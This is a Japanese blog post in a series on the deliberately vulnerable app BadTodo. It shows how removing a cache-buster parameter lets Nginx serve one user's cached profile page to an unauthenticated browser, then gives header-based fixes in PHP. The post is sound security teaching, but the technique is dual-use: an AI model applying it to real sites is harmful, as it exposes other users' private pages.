前回:やられアプリ BadTodo - 27 レースコンディション - demandosigno

キャッシュを利用することでアプリケーションの読み込み処理を高速化したり、サーバーの負荷を軽減させたりできます。
BadTodoでは Nginx がリバースプロキシサーバとなりキャッシュ機能を持っています。

今、"test"ユーザでBadTodoにログインしマイページを見ています。(これ以降少し時間のかかる操作のため、ログイン時に「ログインしたままにする」をチェックしておきます)

このときURLに"rnd=6603fd696be28"という文字列が付いています。これは「キャッシュバスター」といい、URLのクエリー文字列として乱数値を付与することでキャッシュからの情報漏洩を防ぐ保険的な対策の一つです。

ここでは、キャッシュバスターが付いていない場合について見ていきます。
アドレスから"rnd=6603fd696be28"を削除してアクセスします。

次にブラウザをリロードし、同じURLをもう一度読み込んでみます。(「マイページ」の再クリックでは"rnd"が付くのでダメです)
このとき、レスポンスに"X-Cache: HIT"と出ており、2回目のアクセスはキャッシュから読み込まれたことが分かります。(サーバにキャッシュが保存されている)

次に、今アクセスしているブラウザ(BurpSuite組み込みChromium)とは別のブラウザを一つ立ち上げます。(今回はFirefoxで試しています)
サーバーのキャッシュだけではなくブラウザにもキャッシュ機能はありますので、まず最初にブラウザ設定ページからブラウザ側のキャッシュは削除しておいてください。(「設定」→「プライバシーとセキュリティ」→「Cookieとサイトデータ」「データを消去」)
そして、先ほどのプロフィールページのアドレスをコピーして二つ目のブラウザでアクセスします。

まだログインもしていないのにも関わらず、"test"ユーザのプロフィールが見えてしまいました。

Firefoxの方もBurpを通して見てみると"X-Cache: HIT"となっており、キャッシュされたマイページを見ていることになります。

Nginxのデフォルトでは応答がキャッシュされる時間は無制限です。指定のログファイルサイズを超えれば削除されますが、そうでなければ永遠に残ります。
BadTodoの場合、設定ファイルにて"proxy_cache_valid 200 302 180s;"と指定されているため、200, 302のステータス応答に対しては180秒有効となっています。
(設定ファイルの場所はソースフォルダ上では \badtodo\nginx\default.conf に。badtodo-eginxコンテナ上では /etc/nginx/conf.d/default.conf 内で記述されています)

実際3分を超えた時点で"X-Cache: EXPIRED"となりキャッシュ切れとなります。

ここで、そのままFirefoxのページをリロードすると、今度は"X-Cache: HIT"となります。

続けて、元のChromiumブラウザ側をリロードするとログアウトされてしまったように見えます。

しかし、これは先ほどのFirefox側のログアウト画面をキャッシュしてしまったことによる「なんちゃってログアウト」画面です。
同様に3分待ってからリロードすると同じセッションIDのままログイン状態が継続していることを確認できます。

対策

  • アプリケーション側でキャッシュ制御用の適切なレスポンスヘッダを設定する
  • キャッシュサーバ―側でキャッシュ制御の適切な設定を行う

アプリケーション側でキャッシュを抑制するには、Cache-Controlヘッダとして no-store を指定すればよいですが、ブラウザやキャッシュサーバの仕様のブレを考慮して以下を指定すると良いでしょう。
Cache-Control: private, no-store, no-cache, must-revalidate
Pragma: no-cache

PHPの場合、session_cache_limiter関数を使い session_cache_limiter('nocache'); と指定することで
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
のようなヘッダが出力されます。
PHP: session_cache_limiter - Manual

ただ、session_cache_limiter() は session_start() がコールされる必要があり、BadTodoは独自のセッション生成方法を使っているためか機能しませんでした。 今回は一旦 common.php の先頭に直接記述することにしました。

<?php
header("Cache-Control: private, no-store, no-cache, must-revalidate");
header("Pragma:no-cache");

これにより所定のヘッダが付与されます。

Firefox側で読み込んでも"X-Cache: MISS"となります。アプリケーション側での拒否指示が優先されます(Nginx側でキャッシュされません)。

サーバー側の設定については後日。

補足:確認の際に思うように動作しなくなったら一旦キャッシュを削除してみてください。
BadTodo - Nginxのキャッシュの削除

Cache-Control - HTTP | MDN
www.itmedia.co.jp

/* -----codeの行番号----- */